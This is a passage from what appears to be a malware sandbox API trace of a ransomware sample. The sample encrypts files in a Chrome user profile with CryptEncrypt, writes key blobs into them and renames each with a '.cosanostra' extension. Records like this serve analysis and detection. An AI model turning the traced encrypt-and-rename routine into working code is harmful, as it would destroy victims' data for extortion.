(in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff87c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff87c*=0x30, lpOverlapped=0x0) returned 1 [0087.343] CloseHandle (hObject=0x16c) returned 1 [0087.343] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.cosanostra") returned 170 [0087.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0087.344] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8b8 | out: pbBuffer=0x26ff8b8) returned 1 [0087.345] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8b0*=0x30) returned 1 [0087.345] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.345] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json") returned 164 [0087.345] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.347] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.347] WriteFile (in: hFile=0x16c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x26ff874*=0x2800, lpOverlapped=0x0) returned 1 [0087.347] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.347] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x26ff8b4*, lpNumberOfBytesWritten=0x26ff874*=0x4, lpOverlapped=0x0) returned 1 [0087.347] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff874*=0x30, lpOverlapped=0x0) returned 1 [0087.347] CloseHandle (hObject=0x16c) returned 1 [0087.347] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.cosanostra") returned 175 [0087.347] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0087.348] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8b8 | out: pbBuffer=0x26ff8b8) returned 1 [0087.348] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8b0*=0x30) returned 1 [0087.348] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.348] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js") returned 158 [0087.348] StrStrW (lpFirst="mirroring_common.js", lpSrch=".txt") returned 0x0 [0087.361] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.361] WriteFile (in: hFile=0x16c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x26ff874*=0x2800, lpOverlapped=0x0) returned 1 [0087.361] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.361] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x26ff8b4*, lpNumberOfBytesWritten=0x26ff874*=0x4, lpOverlapped=0x0) returned 1 [0087.374] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff874, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff874*=0x30, lpOverlapped=0x0) returned 1 [0087.375] CloseHandle (hObject=0x16c) returned 1 [0087.375] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.cosanostra") returned 169 [0087.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.cosanostra")) returned 1 [0087.376] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8b0 | out: pbBuffer=0x26ff8b0) returned 1 [0087.376] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8a8*=0x30) returned 1 [0087.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.377] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json") returned 164 [0087.377] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.392] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.392] WriteFile (in: hFile=0x16c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff86c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff86c*=0x2800, lpOverlapped=0x0) returned 1 [0087.392] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.392] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff86c, lpOverlapped=0x0 | out: lpBuffer=0x26ff8ac*, lpNumberOfBytesWritten=0x26ff86c*=0x4, lpOverlapped=0x0) returned 1 [0087.400] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff86c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff86c*=0x30, lpOverlapped=0x0) returned 1 [0087.400] CloseHandle (hObject=0x16c) returned 1 [0087.400] wnsprintfW (in: pszDest=0x2ff2968, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.cosanostra") returned 175 [0087.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.cosanostra")) returned 1 [0087.402] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8a8 | out: pbBuffer=0x26ff8a8) returned 1 [0087.402] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8a0*=0x30) returned 1 [0087.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.403] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json") returned 164 [0087.403] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.507] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.507] WriteFile (in: hFile=0x16c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff864, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff864*=0x2800, lpOverlapped=0x0) returned 1 [0087.507] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.507] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff864, lpOverlapped=0x0 | out: lpBuffer=0x26ff8a4*, lpNumberOfBytesWritten=0x26ff864*=0x4, lpOverlapped=0x0) returned 1 [0087.508] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff864, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff864*=0x30, lpOverlapped=0x0) returned 1 [0087.508] CloseHandle (hObject=0x16c) returned 1 [0087.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0087.509] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8a0 | out: pbBuffer=0x26ff8a0) returned 1 [0087.509] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff898*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff898*=0x30) returned 1 [0087.509] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.513] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 105 [0087.513] StrStrW (lpFirst="2B03.tmp", lpSrch=".txt") returned 0x0 [0087.513] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.513] WriteFile (in: hFile=0x16c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff85c*=0x0, lpOverlapped=0x0) returned 1 [0087.513] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.513] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x26ff89c*, lpNumberOfBytesWritten=0x26ff85c*=0x4, lpOverlapped=0x0) returned 1 [0087.514] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff85c*=0x30, lpOverlapped=0x0) returned 1 [0087.514] CloseHandle (hObject=0x16c) returned 1 [0087.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp.cosanostra")) returned 1 [0087.521] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8a0 | out: pbBuffer=0x26ff8a0) returned 1 [0087.521] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff898*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff898*=0x30) returned 1 [0087.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.550] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 102 [0087.550] StrStrW (lpFirst="A058.tmp", lpSrch=".txt") returned 0x0 [0087.550] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.550] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff85c*=0x0, lpOverlapped=0x0) returned 1 [0087.550] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.550] WriteFile (in: hFile=0x154, lpBuffer=0x26ff89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x26ff89c*, lpNumberOfBytesWritten=0x26ff85c*=0x4, lpOverlapped=0x0) returned 1 [0087.551] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff85c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff85c*=0x30, lpOverlapped=0x0) returned 1 [0087.551] CloseHandle (hObject=0x154) returned 1 [0087.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp.cosanostra")) returned 1 [0087.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff898 | out: pbBuffer=0x26ff898) returned 1 [0087.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff890*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff890*=0x30) returned 1 [0087.552] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.552] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 96 [0087.552] StrStrW (lpFirst="Favicons-journal", lpSrch=".txt") returned 0x0 [0087.552] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.552] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff854, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff854*=0x0, lpOverlapped=0x0) returned 1 [0087.552] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.552] WriteFile (in: hFile=0x154, lpBuffer=0x26ff894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff854, lpOverlapped=0x0 | out: lpBuffer=0x26ff894*, lpNumberOfBytesWritten=0x26ff854*=0x4, lpOverlapped=0x0) returned 1 [0087.553] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff854, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff854*=0x30, lpOverlapped=0x0) returned 1 [0087.553] CloseHandle (hObject=0x154) returned 1 [0087.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal.cosanostra")) returned 1 [0087.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff898 | out: pbBuffer=0x26ff898) returned 1 [0087.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff890*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff890*=0x30) returned 1 [0087.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.554] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 88 [0087.554] StrStrW (lpFirst="Favicons", lpSrch=".txt") returned 0x0 [0087.619] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.619] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff854, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff854*=0x2800, lpOverlapped=0x0) returned 1 [0087.619] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.619] WriteFile (in: hFile=0x154, lpBuffer=0x26ff894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff854, 